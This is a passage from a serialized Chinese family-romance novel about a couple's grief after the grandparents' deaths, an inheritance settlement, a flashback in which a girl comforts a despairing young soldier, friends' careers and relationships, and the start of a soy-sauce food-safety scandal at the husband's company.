白子浩也不管他愿不愿意了,直接拽着他的胳膊往外走,一边走一边道:“作为祖国的花朵要多晒晒太阳,你整天闷着小心长不高。” 白子浩将他往操场上拖,他想着踢两局球说不定肖哥就能“活”起来了。 路过二班时,二班一群人围在一起不知道玩什么,只听得人群中有人叫了一声。 肖楚戎。 两人停下脚步,便见一个扎着两根马尾辫的女孩跑过来。白子浩见她的次数多了,自然也认识了这个女孩,叫胡美馨。胡美馨在她们班上人缘很不错,每天出门身后都围着一大群人。不过也能理解,她长得活泼漂亮,大家都愿意跟她玩。 胡美馨走到肖楚戎跟前,问道:“你会解这个吗?帮我解一下。” 是一个九连环,肖楚戎没玩过,他道:“我不会解。” “没事你试试,我找了好多人都解不开,反正试试又不怎么样。” 肖楚戎看着她递过来的九连环,无奈接过,虽然没玩过不过肖楚戎捣鼓了几下基本就摸清了原理,这里扭一下,那里撞一下,突然像是触碰到某个机关,九连环就这么解开了。 胡美馨挺开心,“哇你真的解开了,肖楚戎你好厉害!” 对上她脸上的明媚笑容和眼底的赞叹,肖楚戎倒有些不好意思,他也没那么厉害,他觉得并不难。 九连环解开了,胡美馨向身后一群人摊开手,只见一毛五毛的钱纷纷递到她手上。胡美馨将钱数了数,分了一半递给肖楚戎。 “我跟他们打赌,你帮我赢的,这个该给你。” “不……”肖楚戎的“用”字还未落下,胡美馨已将一把钱塞 到他手上。 正好上课铃声响起,胡美馨跟他道别回教室了。肖楚戎看着手中的钱有些不知所措,白子浩却一把夺了过去,数着。 “一毛,三毛,五毛,一块。”数完之后兴奋道:“居然有六块五诶,我一天零花钱才一块钱,肖哥你一下得了这么多钱,放学请客!” 肖楚戎没说话,夺过钱向教室走去,白子浩追上来,“肖哥请客啊,别这么抠。” 肖楚戎被他吵得烦,不耐烦应了一句,“知道了。” “耶!我要吃辣条,吃小冰棍,还要称二两瓜子。” “随你。” 莫名其妙的,肖楚戎竟觉得这段时间沉闷的心情好了些。 张婉如没想到肖二姑会来找她,这天张婉如刚下班从公司出来就看到肖二姑站在外面。肖二姑有些尴尬,倒也客气笑了笑说道:“婉如下班了吗?有没有时间,我请你去附近喝个茶?” 经过遗嘱这事儿,肖秉文一家跟肖大伯和肖二姑一家肯定是有嫌隙的。 张婉如道:“下午喝茶我怕晚上睡不着。” “那喝别的,听说你们年轻人喜欢喝汽水,那我们去喝点汽水如何?” 张婉如知道肖二姑是有话要跟她说,恐怕是不说出来不罢休的,张婉如最终还是答应了。 两人去了附近一家咖啡馆,张婉如随便要了杯喝的,肖二姑喝了一口咖啡,犹豫了一会儿才开口。 “我知道你跟秉文心里肯定在怨我们。” 这话张婉如没接。 肖二姑叹了口气又道:“婉如啊,我知道你的家庭情况,你母亲早逝,父亲又另娶。自从有了弟弟之后,你在家中肯定也遭受了一些不公平吧?面对这些不公平,你会怎么看待你爸爸?会怨吗?” 肖二姑这话将张婉如刺了一下,她微蹙着眉头依旧没接话。 “所以当我看到我父亲那么偏心的时候我又怎么会不怨呢?人心都是肉长的,这些年我在家中尽心照顾父母,子越也一直本本分分在工厂里做事。可到头来才发现这父亲心里啊,就没有多少我这女儿的分量。换做是你,你会甘心吗?” 张婉如想到她在张家的遭遇,张国栋觉得她学画画费钱不再供她学画画,却不惜代价也要让张行书学钢琴。认真说起来,确实心里不舒服的。 “当然我也不是想说我做得就多么正确。事情既然已经成了定局,那我也认了,我父母都已入土,我也不想再怨什么不甘什么。只是子越他从小跟着老爷子做酱油,而他也只会做酱油,自从肖家酱油厂给了秉文之后,子越就一直闲赋在家,秉文对他也没什么安排,更没什么说法。我也不想再要什么,就只是希望你能跟秉文说一声,能不能给子越在酱油厂安排个职位,不管做什么都行。子越这孩子是死脑筋,老爷子教他做酱油,他就想将酱油做好,别的他也不想做,我也是没办法才厚着脸皮拜托你。” 对于其他的张婉如并不做过多评价,不过就事论事,张婉如道:“你的话我会帮你带到,至于秉文他是怎么安排的,我也决定不了。” “行,你能帮忙带话就行。” 肖秉文最近挺忙,本来和盛味业扩建的事情就让他忙碌得抽不开身,最近肖记又合并到和盛味业,再加上家里两位老人相继过世,他就更忙了。 今晚他很晚才回来,张婉如听到声音便将灯拧开,肖秉文正轻手轻脚放衣服,灯骤然亮起来,就见张婉如靠坐在床头。 “你还没睡啊?”这几天回来晚,每回回来她都已经睡下了。 “今天二姑来找我了。” “嗯?她找你做什么?” “就谈了一下陈子越的事情,自从肖记和和盛味业合并后陈子越就一直闲赋在家,你那边对他没安排,他也不知道自己该干什么,肖二姑就想让你给陈子越安排个事情做,做什么都可以,能让他继续留在肖记就行。” “她倒是费心了还特意来找你。最近事情太多倒是将这事儿忘了,本来肖记这块儿一直就是子越在管,我想着等整合好了之后还是让他来管。只是还没来得及跟子越说一声,倒没想到二姑这么着急,生怕我因为遗嘱的事情迁怒子越。” “你的意思是,你想陈子越管肖记?”张婉如有些担忧,“你觉得他能信得过吗?” 毕竟肖二姑可是干出伪造遗书这事出来的,陈子越对于伪造遗书的事情又知道多少,是不是也参与了? “陈子越从小就跟在爷爷身边做事,工厂里的工人都听他的,而且他做事确实也细致踏实,不管是从长远的发展还是理性的角度,选他来管肖记都是再恰当不过的。” 本以为遗嘱的事情会让肖秉文心存芥蒂,倒没想到他一码归一码,从这点来看,他确实是一个冷静克制的人,知道怎么处理事情才能利益最大化,甚至能忽略个人恩怨。也难怪他未来会建立属于自己的商业帝国,不感情用事这点就已经超过不少人了。 “你先睡吧,我去洗个澡。” 肖秉文拿了换洗衣服出去,张婉如等得迷迷糊糊都快睡着了他还没回来。张婉如心中疑惑,起身出了房间,外面没开灯,整栋房子都黑漆漆的。客厅里却有一点星火在黑暗中明明灭灭,等适应了黑暗张婉如才看到坐在沙发上的人影。 肖秉文微躬着身体,一手夹着烟,一手揉着额头,黑暗笼罩着他的身躯,不若平日里那般挺拔,看上去有些颓废。 肖秉文听到声音抬头看,看到她走过来他道:“怎么还不睡觉?” 张婉如在他身边坐下,将沙发旁边的台灯打开,这才发现他脸色不太好,眼睑处泛出一片青色,眼底缠着像藤蔓一样的红血丝。 最近发生太多事情了,张婉如也知道他最近没睡好,她道:“你呢,为什么还不睡?” “想抽支烟再睡。” 他狠狠吸了一口烟,烟身一下燃了一大截,随后就将烟头摁在烟灰缸里。吸进去的一口烟,许久才吐出来,也不知道在肺里转了几圈。 张婉如看得心疼,她握住他的手说道:“我知道爷爷奶奶过世给了你很大的打击,我无法体会你的心情,毕竟我不是你不能感同身受,所以我知道我的劝说也会显得苍白无力,但是我真的希望你不要太难过。” 肖秉文摁烟蒂的动作顿了一下,他缓缓转头看向她。此刻她水润的目光落在他身上,眼底藏着几分担忧。其实肖老爷子和肖老太太已经过世有一段时间了,但她还是看了出来,他还没有释怀。 肖秉文重重陷进沙发里,头枕着靠背缓了一会儿才说道:“我父母过世得早,是他们一手将我带大的。我小时候很调皮做过很多让他们头疼伤心的事情,可他们还是一如既往爱我。我明白我跟他们隔了两个辈分,他们大概率是会先我一步离开的。我做好了心理准备,可他们真离开了,我还是很难过。最爱我的亲人从此彻底离我而去了。” 很难看到肖秉文有颓丧的时候,他的军旅生涯给了他强健的体魄,同时也练出了他的韧劲,凭着这两样,他不说所向披靡吧,单他身上那股浑劲就能看出他从不把遇到的事当回事。 可现在才发现他也有脆弱的时候。他对她说得最多的就是,没事儿,没多大点事儿,在他的安慰中她无数次放平心态,而现在也该轮到她安慰他了。 张婉如往他身边挪了挪想和他靠得近一些,可思索片刻,干脆微微抬手勾上他的肩,腿一夸直接坐上他的腿。 肖秉文愣了愣,一双被血丝染红的双眼看向她,用眼神询问。 张婉如给他来这姿势也不是说要跟他使使坏什么的,目前的氛围也不允许,她就是单纯想和他靠近一点。 张婉如捧着他的脑袋,很认真告诉他,“你还有我和小戎,我们也是你的亲人,我们……我们也会爱你。” “爱?”他在心底默念这个字,而她说“爱你。” 或许只是出于对儿子的爱屋及乌,或许只是顾念夫妻情分,可“爱你”两个字,却在他心底轻轻叩响,又像一阵暖风,从身体的每个缝隙里灌进去,灌进五脏六腑。 他心底的沉闷着实散了些,面上却没显,张婉如便以为这样的安慰还不够,她便又凑近了些抱住他的脑袋。 “我肩膀借你靠靠。”她轻声说道。 大老爷们儿做这动作有点奇怪,他又不是小孩子,不过肖秉文却没反驳。他喜欢她柔柔对他的目光,喜欢她温热的身体和拥抱。 所以他便顺势搂住她的腰,身体往下坐,微微弓腰,将头靠上她的肩。 肖秉文从小就没了双亲,肖老爷子和肖老太太虽然对他很好,但毕竟隔了一辈。他有记忆起他们就是白发苍苍的模样,他们好像才是需要照顾保护 的人。他从小到大最想做的事情就是要快点长大,要强壮,要做一个顶天立地的男子汉,这样就可以保护他们。 也没想过要靠谁,一路风吹雨打走过来,现在才发现有个肩膀靠靠也挺舒服的。不过他是真没想到这个给他肩膀的人会是张婉如。 怎么会是张婉如呢?那个浑身带刺的女人,曾刺得他浑身疼。可现实就是她,他突然有种恍惚感,总感觉现在的一切都不太真实。 正这么想着,就感觉她柔软的手指在他脑袋上揉了揉,嘴唇贴在他耳边说了一句,“不要难过,我会疼你的。” “……” 这下肖秉文是真没忍住抬起头来,对上她温柔认真的表情。 我会疼你的。 这是……把他当小孩哄了? 第52章 第52章再要个女儿 肖秉文忍着笑,问道:“疼我?我一个大老爷们儿疼我做什么?要疼也该是老爷们儿疼你。” 张婉如也是看出来了,这个男人偶尔会有一些大男子主义,她也没反驳,应道:“行行,我不疼你,你靠着就好。” 肖秉文便又重新将头靠上她的肩,而这一次张婉如换了个说法:“你要是想哭就哭吧。” 肖秉文:“……” 这丫头,谁要哭了? 不过这一次肖秉文没反驳,他觉得这话听着有些熟悉,好像她曾经也跟他说过。什么时候呢,他想起来了,应该是两人初见那次。 那一年肖秉文十九岁,一个月前才经历过失去战友的痛苦,那是他人生最灰暗的一段时光,战友离去的阴影一直在他心头挥之不去,班长也看出来了他状态不对,提前让他休了年假。 这一次的年假正好就赶上了梁文秀和张国栋的婚礼,肖家跟梁家是干亲关系,他作为梁文秀的干弟弟自然要去参加。 婚礼在某个饭店举行,现场很热闹,然而处在热闹的人群中依然冲不散他心里的阴影,甚至让他感觉到烦躁。他独自一人去了饭店楼上,楼顶上有个露台,露台有一半伸出了楼顶边缘,八楼的楼层不高,可若是从这里掉下去也是非死即残。 他却假装没看到旁边的禁止攀越提示,走到露台上坐下。 是初秋时节,经历过一整夏的酷暑,气温渐渐回调,夜晚的风也染上了几分凉意,在人身上吹一下能带走大半体温。他一身短袖,任由冷风刮在身上,仿若察觉不到冷。 黑夜在眼前蔓延开,天上的星星像散落了一地的米粒,夜幕低垂,似乎就在头顶,一伸手就能够到天上的星星。 明天又会是一个好天气。 如此夜晚寂静而美好,脚下霓虹灯闪烁,城市在唯美的夜空下开始了属于它的热闹。然而那一幕幕却始终在他脑海挥之不去。 他满手的鲜血,怀里抱着自己最好的朋友,眼睁睁看着他闭上眼,看着他的生命在自己怀中消逝。他悲伤,痛苦,自责,却无能为力,逐渐陷入崩溃。 近日噩梦就是这样来的,心理阴影和噩梦的折磨,很长一段时间他过得生不如死。 他想或许那天该死的应该是自己,又或者哪天突然死了,那么所有痛苦和自责是不是也能随之结束。 他向脚底下看了一眼,一股冷风浮向他的脸,微微刺痛的风吹进他的眼睛里,像针扎一样,就像在跟谁作对一样,眼睛就这么大睁着,任由刺痛感在眼底扩散,眨也不眨一下。他只是望着脚底下,望着那水泥铺成的街道发愣。 直到又有一阵风来,同时吹来一记似真非真的声音。他这才回过神来,侧头看去,还真是有人在说话。 不远处不知何时站了个小女孩,她绑着两根麻花辫,麻花辫上捆着蝴蝶结,那蝴蝶结在夜风中轻轻摆动,还真像停了两只蝴蝶在头发上。 她身上穿着中学的校服,看上去不过十二三岁的样子。 对上他的目光她似乎很紧张,并不是面对陌生人的紧张,而是害怕和担忧的紧张。 “你……没事吧?”她的声音又传了过来。 “我看上去像有事吗?” 各种不好的情绪还在扩散,又突然被打扰,心底多了一股烦闷,他应得冰冷,没什么耐心。 “要不你先下来吧?你别想不开啊。” 想不开?他冷笑一声,要真想不开还等到现在? 肖秉文并不想搭理她,他侧头看向远处的黑夜,本以为她会自觉离开,不料又听到她说了一句:“你快下来吧,这摔下去会很疼的。” 他回头,几分警告的眼神落在她身上,语气也极不客气,“哪里来的小孩,从哪儿来回哪儿去。” 肖秉文从小就不太招孩子喜欢,尤其去当兵之后,家里亲戚的小孩一看到他就会吓得哇哇大哭,像她这样娇滴滴的小女孩最怕他。他实在没心情应付她,只想她快点走,别打扰了她,所以他看向她的目光要多冷有多冷。 她确实被他眼神吓到,身体瑟缩了一下,可她却没走,又说道:“我要是走了,你掉下去怎么办?我留在这儿还能帮你叫人呢。” “……” 还挺热心肠,他是不是该谢谢她? 算了,肖秉文懒得管她,转回头去,就当她不存在。 不想刚安静了一会儿,又听到她说道:“我知道你肯定是心情不好,要是想哭就哭吧,哭出来就好了,我不会告诉别人的。”说完又改了口急忙补充道:“不对,我什么都没看到,我现在转过身了,你放心我看不到的。” 肖秉文向她看了一眼,就见她转过身背对着他,似乎是将空间留给他,他可以尽情发泄情绪。 不是……他哪里表现得像要哭了? 哪里来的小破孩子啊,肖秉文想吓唬她几句,目光骤然落在她身上,就见她瑟缩了一下肩膀,手指在肩膀上搓了搓。 肖秉文皱眉,都冷成这样了还不走? “我要是走了,你掉下去怎么办,我留在这儿还能帮你叫人呢。” 这是真怕他要跳楼啊? 思绪还未散,阴霾依旧笼罩在周身,突然出现的女孩着实碍眼,可想着她害怕他跳楼,冷成这样还留在这儿,莫名其妙就让他笑了一下。 此刻肖秉文将人搂在自己怀里,头还靠在她肩上,还真是巧啊,失去最好的朋友时是她出现安慰他,如今失去双亲,也是她在身边安慰。这么一想他俩还挺有缘分。 当年那个小破孩子,一转眼就这么大了。 “心情好点了吗?”她问道。 世事无常,初见时那般美好热心的姑娘后来却对他竖起满身刺,可好在她初心未改,热心还在,而他也依旧还是他,只是以另一种身份相遇了。 此刻她不再对他满身刺,她的热心依然用在了他的身上。 “好多了。”他抱着她站起身,“时候不早了,我们去睡觉?” 她勾紧了他的脖子,整个人吊在他身上,应道:“好。” 肖二姑那边很快就得知了肖秉文同意陈子越回肖记的消息。只是出乎母子俩意料的,肖秉文不仅同意陈子越回肖记,而且还让陈子越担任肖记酱油厂的厂长。 这消息让母子俩大喜过望,陈子越也彻底松了一口气,一改这段时间的颓废,他冲肖二姑说道: “看样子秉文这次是给我们留了情面的,妈你也别再跟他作对了。该是我们的就是我们的,手里有什么牌就打什么牌,别再去奢求不属于我们的了。” 肖二姑点点头,经过这次的事情她也明白了,没有什么比一家人和和气气在一起更好的了。如今子越工作的事情一解决,她也没什么好想的。本来梁建英那边还跟她商量过要再去肖秉文手里争取一些,可陈子越的工作一落地,肖二姑也就认了。 拿多拿少都无关紧要,她甚至很感激肖秉文还能对她们一家念些情分,子越成了肖记的厂长,那她没别的奢求了。 肖二姑一妥协,肖家大房那边虽然气愤,但也没什么好说的,他们也不敢真闹,万一肖秉文来硬的呢?到最后也只能妥协。 所以最后遗产分配的问题依旧按照老爷子立下的进行分配,有许叔在其中帮忙,财产落到每个人名下时也都挺顺利没什么波折。 或许是那一晚的安慰起了作用,肖秉文的状态也渐渐恢复了过来。生活还要继续,过去的事情无法更改,既如此还不如珍惜现在所拥有的一切,也不会在未来某一天暮然回首时后悔。 ** 张婉如有好一段时间没看到秦良川了,自从秦良川和袁雯谈恋爱之后,秦良川时不时会来公司找袁雯。 一开始秦良川看到张婉如还有些尴尬,来得次数多了也就习惯了。 这段时间忙着肖家和遗产的事情张婉如也没太过关注袁雯和秦良川的情况,这会儿事情渐渐过去,她也发现了不对劲。 不仅秦良川很久没来找过袁雯,袁雯也很久没去找他了,以前两人时不时都会见一面,晚上还一起去打打球。 所以这天张婉如没忍住问出自己的疑惑,她道:“我怎么感觉我已经很久没看到秦队长来找你了,你好像也没去找过他?” “我们已经分了。” 袁雯轻飘飘说了一句,张婉如却惊呆了,“分了?什么时候分的?为什么分的啊?” “还记得我之前跟你说过吗?秦良川的家人希望我能回归家庭相夫教子,做秦良川背后的贤内助。” “就因为这事儿分了?秦良川也是这想法?” “也不是,秦良川也不太赞同家里人的想法,他尊重我的工作,也支持我继续自己的事业。” “那不挺好的吗?后来呢?她家里人不同意?” “没有,秦良川说服了家里人,他们也同意我继续工作。” 张婉如更纳闷了,“既如此怎么还分了啊?” “因为那次他们又提到结婚的事情,然后我就提了个要求。” “什么要求?” “我说结婚之后我五年内不会要孩子,他的父母不同意。毕竟秦良川现在已经三十了,再过五年都三十五了。” “那秦良川呢?他怎么说?” “他也不太赞同。他觉得他已经帮我争取家里同意结婚后我继续工作了,而我却还得寸进尺。但他不知道,我同意五年之内不要孩子已经是我最大的让步了,我甚至都不想要孩子的。” “……” “所以咯,我们观念不同,分手是必然。” 这事儿还真是个难题,张婉如也不好说什么。袁雯有自己的想法,想好好发展事业,目前公司才稳步不久,袁雯还有许多想法没实现,比如开分店的事,比如扩建制衣厂的事情。 袁雯的目标是想将其乐发展成为东方香奶奶,这个目标有点大,但她确实一直在往这个方向努力,就算最后没成功,但好歹也要让其乐发展出个名堂。 这时候结婚生孩子确实会妨碍事业发展,袁雯肯定是不甘心的。 当然也不能说秦良川一家不对,秦良川年纪大了,秦家人希望他能早点结婚生子也无可厚非,要等五年,确实有点长。 就像袁雯说的,只是观念不同,也无所谓对错。虽然一开始感觉袁雯和秦队长是两个世界的人不太搭,不过她觉得两个人都不错,说不准真能成为彼此的归宿。如今两人是这般结局,作为旁观者,张婉如不禁觉得可惜。 六月底,暑热来临时,其乐的第二家分店开张了。袁雯计划着再在公司搂上建一层,公司部门增多,新员工也多了,只用一层有点挤。 在开始动工前,他们暂时搬到附近的活动板房办公。林友莉的拍摄风格越来越成熟,袁雯花重金在中央广场租了个广告牌,上面贴着林友莉的照片,照片上的她穿得就是其乐推出的新款。 这次的钱没白砸,收效可观,其乐在柳城也有了一定的知名度,深受职场年轻女性的喜欢。而林友莉在模特界也有了一定的名气,有模特公司想跟她签约,林友莉来问张婉如的意见。 “这个看你,签约模特公司也好,他们比较专业,负责的业务也更广,你以后可以接到更多工作,相应也能赚更多钱。” 林友莉对赚很多钱并不是那么热衷,她想的是能够她跟女儿用就行,说白了她其实没那么想工作。 “其实我想的是,如果能签约的话,跟你们签约就好了。” “跟我们签约也可以,但你也知道我们工作量没那么多,对你的发展也没有太大的助益。” “没事,能稳定下来就行。” 于是张婉如便将这事儿跟袁雯商量一下,然后林友莉便成了其乐第一个签约的模特。在六月末的时候有一场全国模特大赛,林友莉想去参加。虽说她在赚钱这方面挺知足,但女孩子嘛都有虚荣心,尤其像林友莉这样的大美女,有展示自己的机会她就想去试一试。 张婉如也支持她的决定,唯一不方便的就是林友莉走了没人照顾她女儿,学前班还没放假,林友莉娘家离得远,家里还有哥哥弟弟,父母要帮哥哥弟弟带孩子没法帮她。她跟前夫离婚时闹得有点不愉快,自然也不放心把孩子放前夫那儿。 思来想去林友莉觉得张婉如最合适,她便拜托张婉如帮她照顾几天孩子。张婉如也没多考虑就答应了。 家里也有孩子,照顾一个是照顾,照顾两个也是照顾。而且小戎和天雅还在一个学校,也方便。 模特大赛的地点在三亚海岛,林友莉将孩子送到张婉如手上之后就匆匆赶了过去。林天雅这小姑娘也不娇气,妈妈走了也不哭,乖乖被张婉如领回了家。 新房子里倒是有多余的房间,张婉如早就布置好了,窗花换上了卡通印花的,还贴心在床头堆了个布偶娃娃,就是去年肖秉文帮她赢的那只。 “天雅看看房间还满意吗?” 林天雅点了点头,“谢谢阿姨,阿姨辛苦了。” 小姑娘嘴巴还甜,张婉如笑了笑揉了揉她的头,说道:“天雅喜欢就好。” “小戎哥哥在哪个房间?”天雅好奇道。 “就在你对面。” 小雅天似乎又开心了些。 第二天一早小戎开门出来,正好看到从房间出来的林天雅。 “哥哥。”林天雅笑着叫了一声。 “嗯。” 肖楚戎平日里就冷冷淡淡的,林天雅也习惯了,对于他的态度倒没有失望。 肖楚戎出了房门就朝卫生间走去,林天雅见状忙问道:“哥哥,你去哪儿?” “刷牙。” “我跟你一起。” 张婉如起床之后想看看两个孩子起来没有,见两人房间都开着没在房里,张婉如找了一下,在卫生间找到并排站在一起刷牙的两人。 张婉如挺希望小戎身边有同龄的朋友,不管是男生还是女生。看到两个孩子相处得这么融洽,张婉如一脸欣慰,笑吟吟站在门口看着。直到两人刷完了牙,张婉如不吝啬夸奖道:“真棒,小戎和天雅妹妹都很棒,脸也洗了吗?” 两人同时点点头,张婉如看着两张小萌团子脸,感觉心一下子就软了。她招招手,“来我们去吃早饭,吃完上学咯。” 两个孩子走过来,她一手搂着一个去了餐厅。 吃完饭张婉如送两个孩子去上学,一手牵着一个孩 子从公交车上下来,那么巧正好就碰到小戎的同学白子浩,他笑呵呵走上前冲肖楚戎打招呼。 “肖哥。” 这一声肖哥把张婉如听得愣住,她低头看了一眼,很快认出了眼前这个小萌团子是肖楚戎的同班同学,好像叫白子浩,跟小戎是同桌,两人似乎还是朋友。 对于小戎的朋友张婉如自然是格外有好感,也热情招呼了一声:“白子浩同学?” “阿姨好,您还记得我?” 小朋友挺有礼貌,张婉如便更喜欢,笑道:“当然。” 白子浩也发现了林天雅跟他们在一起,他好奇道:“肖哥,她怎么跟你一起来的啊?” 肖楚戎懒得解释那么多,张婉如见状有点尴尬,她知道儿子性格内向又闷,她急忙说道:“天雅妈妈有事出差,拜托我照顾她几天,所以这几天天雅都住我们家。” “啊?”白子浩更好奇了,“阿姨你跟林天雅的妈妈是朋友吗?” “嗯,我们是朋友。” 上课时间快到了,张婉如便催促他们进去。几个孩子一块儿进了学校,又碰上几个同学,其中有个女生上前跟小戎打招呼,张婉如一眼就注意到那女同学头上的发带,她不禁咦了一声。 她记得那次春游小戎受了伤,回来时包里有一条染了血的发带,是个女同学拆了自己的发带帮他止血用。原来就是这位女同学啊?她记得小戎跟她说过她的名字,好像叫胡美馨?张婉如便没忍住多看了两眼,却见女同学笑靥如花,从她出现脸上的笑就没停下过。 是个爱笑的小姑娘呢,性格看着也活泼开朗,跟小戎完全是两个极端,倒是没想到这样不同的两个孩子竟也是朋友吗? 又想到方才白子浩叫的肖哥,张婉如发现她家小戎在学校人缘还挺好的嘛。 张婉如将林天雅接到家里照顾肖秉文也没啥意见,不过一个孩子而已。这天下班回来时路过一家糕点铺子,想着小戎和他妈都喜欢吃这家糕点便买了些,又想到家里还多了个孩子,便又多买了几个。 肖秉文回来时,两个孩子正坐在客厅的茶几边画画,张婉如就在一边帮忙监督。是老师布置的画苹果作业,两个孩子都画得很认真。 “买了糕点,要不要先吃点?” 肖秉文将糕点放到茶几上,小孩对吃的自然感兴趣,停了笔,眼巴巴看着糕点。张婉如见状便让他们先歇歇,去洗了手出来吃。 两个孩子洗了手出来,天雅拿了一块桃酥吃,吃完还不忘冲肖秉文说了一句:“桃酥很好吃,谢谢肖叔叔。” 小女孩眼睛微弯,一抹甜滋滋的笑意挂在脸上,不管这桃酥好不好吃,但这小表情还有这软糯糯的话给的情绪价值是够的。 肖秉文心情挺不错,笑道:“不客气。” 又看了一眼低头闷头吃的儿子,他问道:“小戎觉得好吃吗?” 小戎点了下头,都没抬头看他一眼。肖秉文顿时有些心凉,心底由衷发出感叹,果然养儿子和养女儿是不一样的。 晚上肖秉文和张婉如回了房间,肖秉文问道:“林天雅要在这里住多久?” “林友莉去参赛大概要一个星期,如今过了两天,还有五天左右吧。”张婉如疑惑看了他一眼,问道:“你觉得不方便吗?” “没什么不方便的,一个小孩而已。” 张婉如以为他就是随口一问,也没多想,不想沉默片刻之后肖秉文又道:“小戎和林天雅相处得挺不错,能有个人陪着小戎,跟他一起写作业,一起画画,一起刷牙,也挺好的。” “是挺好的。” “不过林天雅呆不了多久,要是有个人天天陪着小戎就好了。” “这个倒是,我也觉得两个孩子一起刷牙一起吃饭一起上学挺不错,要不认林天雅当干女儿?认了干女儿倒也方便,可以时不时接她过来和小戎一起玩?” 张婉如是真挺希望小戎交朋友的,认个干女儿也不错。 “我不是这个意思。” 张婉如不解,“那你是什么意思?” 肖秉文轻咳一声,试探着问道:“你说我们再要个女儿好不好?” “……” 第53章 第53章还不抱抱我? 这话张婉如已经不止第一次听肖秉文说了,他之前就提过想再要一个女儿。 张婉如道:“有什么好的?就算再要一个孩子也不定是女儿。” 肖秉文听到这话感觉好像有戏,神色间也多了几分兴头说道:“那来了什么就要什么,能有个女儿当然更好,要还是儿子的话也不错。我只是想着别的孩子都是父母期待下出生的,我也想知道在父母期待下出生的孩子是什么样的。” 张婉如听到这话心沉了沉,小戎的出生确实跟别的孩子不一样,他是意外,他的出生并没有被期待。她能理解肖秉文的想法,他们曾经有太多的不堪,他很希望有一个在一切都美满的状态下出生的孩子。 张婉如摇了摇头,“可是这样对小戎来说太不公平了,我这些年没在家,亏欠了他太多。如果再要一个孩子,我的注意力肯定会被分走,我不忍心让小戎跟别的孩子平分完全属于他的爱。” “这样说好像也对,那万一小戎也想要弟弟妹妹呢?如果有个弟弟妹妹陪伴他,他也不用那么孤独了,不是吗?” 张婉如没说话,肖秉文又带着几分试探说道:“所以,要老二吗?” “不要。” 张婉如回答得斩钉截铁不带犹豫的,肖秉文脸上的笑意僵了僵,眼底一瞬间漫起的失落感藏也藏不住。 “为什么?”他问。 “你以为生孩子很简单吗?你动一动嘴皮子就行了?生孩子我会很痛,怀孩子也很辛苦。” 肖秉文一下就沉默下来,张婉如见他脸色逐渐凝重,想着她是不是拒绝得太干脆了?张婉如是真不想再生个孩子来分走小戎的爱,不过这个理由好像在肖秉文这里不太立得住,所以她才说了这个。 她知道肖秉文想再要一个孩子,最好还是个女儿,这已经是他第二次提了,之前她就拒绝过一次了,现在又提,看样子是真想要了。 “怎么了?你生气了?”张婉如问道。 “没有,你说不要那就不要了,我以后也不会再提。” 张婉如打量着他的表情,他的面色依旧带着几分凝重,看不出来是真这样想还是生气了? “真的?怎么突然想开了?不是很想再要个孩子吗?” “我确实很想再要个孩子。不过我太想当然了,你说得对,我说要孩子就是动动嘴皮子的事情,而你要承受生育之痛。”他眉心微蹙,脸色有些难看,“我虽想要孩子,但我更不想你辛苦。” 他表情严肃,说得很认真。听到这话自然是欣慰的,虽说这个理由是故意用来拒绝他找的,不过他还是认真听了进去的,虽不能跟她感同身受,但至少是心疼她的。 “那你会遗憾吗?那么想要一个女儿的?” 他沉默片刻,手一勾将她搂进怀中,他脸在她头顶蹭了蹭,说道:“或许会遗憾,但我想有你在,有小戎在就够了不是吗?如果你没回来我也不会有现在的生活,我的家庭不会这么美满。你能回来我就该庆幸了,不该还这么贪心。”拇指在她后脑勺上蹭了蹭,他道:“我以后不会再提这种要求了。” 听到这话张婉如反而有些心疼,她抱住他的腰说道:“我们一起把小戎养大,把小戎养好,一家人安安心心在一起好不好?” 肖秉文并不知道未来的事情,张婉如是知道的,没有什么比他们父子好好的更好的事情了。而她也会一直陪在他们身边,尽她所能改变事情的走向。 她听到肖秉文鼻端溢出一声轻笑,柔柔的声音中透着笑意,多了几分磁性,他应道:“好。” 模特大赛总决赛那天,张婉如带着林天雅一起看,某电视台转播了当天的比赛情况。小天雅看到妈妈出现在电视机里有些 激动,指着电视机说道:“我妈妈,我看到我妈妈了。” 张婉如道:“是啊,你妈妈真好看。” 穿着吊带连衣裙的林友莉,在一堆美女中依旧亮眼。看得出来小天雅很骄傲,激动的小脸有些发红。与有荣焉应道:“我妈妈确实很漂亮,我长大了也要像她一样漂亮。” 看着林天雅兴奋的小脸蛋,这一刻张婉如确实为林友莉高兴,她的女儿是真为她骄傲的。不过张婉如突然想到她的小戎也曾说过她很厉害,可以将画上的衣服做成真的,这样可爱的宝贝她也自己也有一个。 林天雅是第一次来参加模特大赛,也没什么经验,本来是抱着重在参与的心态来的。反正能展示自己的美,能穿一套套好看的衣服,还能出现在电视机里对她来说已经很满意了。倒没想到能挺进十强,不过很遗憾争夺前三名时她被淘汰了。 林友莉也没失落,第一次参加能进个十强已经不错了,而且因为这次的模特大赛她在柳城的名气更甚,而由她打广告的其乐时装也因此出了一波风头。其乐也接到了好几笔定制订单,公司效益好了,给林友莉的广告费自然水涨船高,在七月末的时候林友莉带着女儿搬了一次家。 这次她们住的房子比之前大很多,林友莉也没想到有一天她竟可以靠着自己让自己和女儿住上这么大这么漂亮的房子。 小戎放了暑假,下学期就要升小学了。张婉如和肖秉文都要上班没法照顾他,就给他报了些兴趣班。 不过张婉如和肖秉文答应过他,等忙完了会抽时间带他去一趟动物园玩。 一家三口一起去过游乐场了,但动物园还没去过。 然而在一家三口正计划着哪天去动物园的时候,肖秉文的和盛味业却突然出了一次食品安全事故。 一开始是有人在食用了和盛味业的酱油之后出现了肝中毒,而后有人拿和盛味业的酱油去做质检,发现里面有过量的三氯丙醇。接着就有媒体对这件事进行了批判式的报道,指出和盛味业为了提升酱油的鲜度,在生产酱油时,加入大量植物蛋白水解液,从而产生了三氯丙醇。而三氯丙醇摄入过量,对肝脏,肾脏,生殖系统和血液都有毒副作用。 这报道一出,毫无疑问对和盛味业产生了巨大的影响。张婉如看到报纸上刊登了关于和盛味业的消息时,第一时间联系肖秉文,然而电话一直处在占线状态。 张婉如不知道和盛味业究竟是什么情况,但事件一出,又被登报报道,对和盛味业的影响是巨大的,这会儿肖秉文肯定是焦头烂额,张婉如试了几次没打通就只能作罢。 肖秉文那边也一直没给她回过电话,他连着好几天都没回来。张婉如担忧一日胜过一日。这事也闹得挺大,袁雯通过报纸知道了这件事,问她情况。 “我也不知道具体情况,我跟肖秉文已经很多天没见面了。” “没事,你先放宽心,他现在肯定优先处理公事,等他忙完了自然联系你的。” 